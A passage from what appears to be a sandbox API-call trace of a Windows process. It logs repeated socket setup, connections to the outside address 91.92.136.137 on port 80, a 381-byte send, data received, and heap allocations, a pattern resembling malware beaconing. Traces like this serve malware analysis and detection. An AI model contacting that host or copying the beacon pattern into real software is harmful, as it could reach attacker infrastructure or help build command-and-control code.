lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x1ff, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0060.434] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x184, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0060.434] WSAResetEvent (hEvent=0x184) returned 1 [0060.434] WSAGetOverlappedResult (in: s=0x1a0, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0060.434] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x600) returned 0x54ae38 [0060.434] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54aa30 | out: hHeap=0x510000) returned 1 [0060.434] WSARecv (in: s=0x1a0, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x1f4, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0060.434] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x184, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0060.434] WSAResetEvent (hEvent=0x184) returned 1 [0060.434] WSAGetOverlappedResult (in: s=0x1a0, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0060.434] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8ff) returned 0x54b440 [0060.434] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ae38 | out: hHeap=0x510000) returned 1 [0060.435] WSARecv (in: s=0x1a0, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x0, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0060.435] WSAGetLastError () returned 997 [0060.435] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x184, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0060.684] WSAResetEvent (hEvent=0x184) returned 1 [0060.684] WSAGetOverlappedResult (in: s=0x1a0, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0060.684] WSAGetLastError () returned 0 [0060.684] WSASetEvent (hEvent=0x184) returned 1 [0060.684] WSACloseEvent (hEvent=0x184) returned 1 [0060.684] closesocket (s=0x1a0) returned 0 [0060.684] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434a8 | out: hHeap=0x510000) returned 1 [0060.684] WSACleanup () returned 0 [0060.688] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7f0) returned 0x54aa30 [0060.688] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x533840 [0060.688] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7f0) returned 0x54bd48 [0060.688] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54aa30 | out: hHeap=0x510000) returned 1 [0060.688] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cf08 [0060.688] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533840 | out: hHeap=0x510000) returned 1 [0060.688] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7f0) returned 0x54aa30 [0060.688] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54bd48 | out: hHeap=0x510000) returned 1 [0060.688] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cf08 | out: hHeap=0x510000) returned 1 [0060.688] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x533840 [0060.688] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7e0) returned 0x54bd48 [0060.688] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cf08 [0060.688] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7e0) returned 0x54c530 [0060.688] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533840 | out: hHeap=0x510000) returned 1 [0060.688] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54bd48 | out: hHeap=0x510000) returned 1 [0060.688] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7e0) returned 0x54bd48 [0060.688] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54c530 | out: hHeap=0x510000) returned 1 [0060.688] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cf08 | out: hHeap=0x510000) returned 1 [0060.688] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0060.688] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x531638 [0060.688] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cf08 [0060.688] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x531638 | out: hHeap=0x510000) returned 1 [0060.688] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x47) returned 0x528908 [0060.688] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cf08 | out: hHeap=0x510000) returned 1 [0060.688] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6a) returned 0x534538 [0060.688] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x528908 | out: hHeap=0x510000) returned 1 [0060.688] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x9e) returned 0x54b228 [0060.688] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x534538 | out: hHeap=0x510000) returned 1 [0060.688] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xec) returned 0x534538 [0060.688] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b228 | out: hHeap=0x510000) returned 1 [0060.689] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x161) returned 0x54b228 [0060.689] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x534538 | out: hHeap=0x510000) returned 1 [0060.689] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x211) returned 0x54a5f8 [0060.689] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b228 | out: hHeap=0x510000) returned 1 [0060.689] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x319) returned 0x542528 [0060.689] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a5f8 | out: hHeap=0x510000) returned 1 [0060.689] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4a5) returned 0x543a38 [0060.689] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542528 | out: hHeap=0x510000) returned 1 [0060.689] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6f7) returned 0x54c530 [0060.689] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a38 | out: hHeap=0x510000) returned 1 [0060.689] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0060.689] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5e0) returned 0x543a38 [0060.689] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5e0) returned 0x54cc30 [0060.689] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a38 | out: hHeap=0x510000) returned 1 [0060.689] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cf08 [0060.689] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x533840 [0060.689] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce98 [0060.689] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cf08 | out: hHeap=0x510000) returned 1 [0060.689] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x550) returned 0x543a38 [0060.689] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cf08 [0060.689] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x550) returned 0x54d218 [0060.689] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533840 | out: hHeap=0x510000) returned 1 [0060.689] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a38 | out: hHeap=0x510000) returned 1 [0060.689] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x48) returned 0x528908 [0060.689] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cf08 | out: hHeap=0x510000) returned 1 [0060.689] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x531638 [0060.689] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x534538 [0060.689] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543570 [0060.689] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x528908 | out: hHeap=0x510000) returned 1 [0060.689] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x531638 | out: hHeap=0x510000) returned 1 [0060.689] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0060.689] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x90) returned 0x54b228 [0060.690] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0060.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x534538 | out: hHeap=0x510000) returned 1 [0060.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0060.690] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cf08 [0060.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ce98 | out: hHeap=0x510000) returned 1 [0060.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54d218 | out: hHeap=0x510000) returned 1 [0060.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543570 | out: hHeap=0x510000) returned 1 [0060.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0060.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b228 | out: hHeap=0x510000) returned 1 [0060.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54cc30 | out: hHeap=0x510000) returned 1 [0060.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54c530 | out: hHeap=0x510000) returned 1 [0060.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54bd48 | out: hHeap=0x510000) returned 1 [0060.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54aa30 | out: hHeap=0x510000) returned 1 [0060.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ce60 | out: hHeap=0x510000) returned 1 [0060.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b440 | out: hHeap=0x510000) returned 1 [0060.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cf08 | out: hHeap=0x510000) returned 1 [0060.690] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4ae2f8 | out: lpWSAData=0x4ae2f8) returned 0 [0060.694] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543570 [0060.694] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cf08 [0060.694] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543570 | out: hHeap=0x510000) returned 1 [0060.694] WSACreateEvent () returned 0x208 [0060.694] WSASocketA (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1ec [0060.696] gethostbyname (name="91.92.136.137") returned 0x26d4898*(h_name="91.92.136.137", h_aliases=0x26d48a8*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x26d48ac*=([0]="91.92.136.137")) [0060.708] htons (hostshort=0x50) returned 0x5000 [0060.708] connect (s=0x1ec, name=0x4ae01c*(sa_family=2, sin_port=0x50, sin_addr="91.92.136.137"), namelen=16) returned 0 [0060.752] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce98 [0060.752] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543408 [0060.752] GetLastError () returned 0x0 [0060.752] send (s=0x1ec, buf=0x54a5f8*, len=381, flags=0) returned 381 [0060.752] Sleep (dwMilliseconds=0x32) [0060.803] WSARecv (in: s=0x1ec, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x0, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0060.803] WSAGetLastError () returned 997 [0060.804] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0063.342] WSAResetEvent (hEvent=0x208) returned 1 [0063.342] WSAGetOverlappedResult (in: s=0x1ec, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0063.343] WSARecv (in: s=0x1ec, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x1ff, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0063.343] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0063.343] WSAResetEvent (hEvent=0x208) returned 1 [0063.343] WSAGetOverlappedResult (in: s=0x1ec, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0063.343] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x400) returned 0x54aa30 [0063.343] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a5f8 | out: hHeap=0x510000) returned 1 [0063.343] WSARecv (in: s=0x1ec, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x1ff, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0063.343] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0063.343] WSAResetEvent (hEvent=0x208) returned 1 [0063.343] WSAGetOverlappedResult (in: s=0x1ec, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0063.343] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x600) returned 0x54ae38 [0063.343] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54aa30 | out: hHeap=0x510000) returned 1 [0063.343] WSARecv (in: s=0x1ec, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x1f4, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0063.343] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0063.343] WSAResetEvent (hEvent=0x208) returned 1 [0063.343] WSAGetOverlappedResult (in: s=0x1ec, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0063.344] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8ff) returned 0x54b440 [0063.344] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ae38 | out: hHeap=0x510000) returned 1 [0063.344] WSARecv (in: s=0x1ec, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x0, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0063.344] WSAGetLastError () returned 997 [0063.344] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0063.590] WSAResetEvent (hEvent=0x208) returned 1 [0063.590] WSAGetOverlappedResult (in: s=0x1ec, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0063.590] WSAGetLastError () returned 0 [0063.590] WSASetEvent (hEvent=0x208) returned 1 [0063.590] WSACloseEvent (hEvent=0x208) returned 1 [0063.590] closesocket (s=0x1ec) returned 0 [0063.591] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543408 | out: hHeap=0x510000) returned 1 [0063.591] WSACleanup () returned 0 [0063.596] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7f0) returned 0x54aa30 [0063.596] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x533840 [0063.596] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7f0) returned 0x54bd48 [0063.596] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54aa30 | out: hHeap=0x510000) returned 1 [0063.596] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce98 [0063.596] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533840 | out: hHeap=0x510000) returned 1 [0063.596] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7f0) returned 0x54aa30 [0063.597] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54bd48 | out: hHeap=0x510000) returned 1 [0063.597] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ce98 | out: hHeap=0x510000) returned 1 [0063.597] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x533840 [0063.597] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7e0) returned 0x54bd48 [0063.597] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce98 [0063.597] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7e0) returned 0x54c530 [0063.597] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533840 | out: hHeap=0x510000) returned 1 [0063.597] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54bd48 | out: hHeap=0x510000) returned 1 [0063.597] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7e0) returned 0x54bd48 [0063.597] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54c530 | out: hHeap=0x510000) returned 1 [0063.597] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ce98 | out: hHeap=0x510000) returned 1 [0063.597] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0063.597] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543340 [0063.597] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce98 [0063.597] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543340 | out: hHeap=0x510000) returned 1 [0063.597] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x47) returned 0x5288b8 [0063.597] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ce98 | out: hHeap=0x510000) returned 1 [0063.597] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6a) returned 0x534538 [0063.597] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5288b8 | out: hHeap=0x510000) returned 1 [0063.597] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x9e) returned 0x54b228 [0063.597] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x534538 | out: hHeap=0x510000) returned 1 [0063.597] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xec) returned 0x534538 [0063.597] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b228 | out: hHeap=0x510000) returned 1 [0063.597] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x161) returned 0x54b228 [0063.598] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x534538 | out: hHeap=0x510000) returned 1 [0063.598] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x211) returned 0x54a5f8 [0063.598] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b228 | out: hHeap=0x510000) returned 1 [0063.598] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x319) returned 0x542528 [0063.598] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a5f8 | out: hHeap=0x510000) returned 1 [0063.598] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4a5) returned 0x543a38 [0063.598] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542528 | out: hHeap=0x510000) returned 1 [0063.598] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6f7) returned 0x54c530 [0063.598] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a38 | out: hHeap=0x510000) returned 1 [0063.598] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0063.598] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5e0) returned 0x543a38 [0063.598] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5e0) returned 0x54cc30 [0063.598] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a38 | out: hHeap=0x510000) returned 1 [0063.598] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce98 [0063.598] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x533840 [0063.598] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ced0 [0063.598] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ce98 | out: hHeap=0x510000) returned 1 [0063.598] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x550) returned 0x543a38 [0063.598] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce98 [0063.598] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x550) returned 0x54d218 [0063.598] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533840 | out: hHeap=0x510000) returned 1 [0063.598] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a38 | out: hHeap=0x510000) returned 1 [0063.598] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x48) returned 0x5288b8 [0063.598] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ce98 | out: hHeap=0x510000) returned 1 [0063.598] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543340 [0063.598] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x534538 [0063.598] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543480 [0063.598] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5288b8 | out: hHeap=0x510000) returned 1 [0063.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543340 | out: hHeap=0x510000) returned 1 [0063.599] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0063.599] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x90) returned 0x54b228 [0063.599] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0063.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x534538 | out: hHeap=0x510000) returned 1 [0063.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0063.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ced0 | out: hHeap=0x510000) returned 1 [0063.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54d218 | out: hHeap=0x510000) returned 1 [0063.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543480 | out: hHeap=0x510000) returned 1 [0063.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0063.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b228 | out: hHeap=0x510000) returned 1 [0063.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54cc30 | out: hHeap=0x510000) returned 1 [0063.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54c530 | out: hHeap=0x510000) returned 1 [0063.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54bd48 | out: hHeap=0x510000) returned 1 [0063.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54aa30 | out: hHeap=0x510000) returned 1 [0063.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cf08 | out: hHeap=0x510000) returned 1 [0063.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b440 | out: hHeap=0x510000) returned 1 [0063.599] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4ae2f8 | out: lpWSAData=0x4ae2f8) returned 0 [0063.605] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543480 [0063.605] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cf08 [0063.605] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543480 | out: hHeap=0x510000) returned 1 [0063.605] WSACreateEvent () returned 0x184 [0063.605] WSASocketA (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1b0 [0063.607] gethostbyname (name="91.92.136.137") returned 0x26d4898*(h_name="91.92.136.137", h_aliases=0x26d48a8*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x26d48ac*=([0]="91.92.136.137")) [0063.624] htons (hostshort=0x50) returned 0x5000 [0063.624] connect (s=0x1b0, name=0x4ae01c*(sa_family=2, sin_port=0x50, sin_addr="91.92.136.137"), namelen=16) returned 0 [0063.665] RtlAllocateHeap 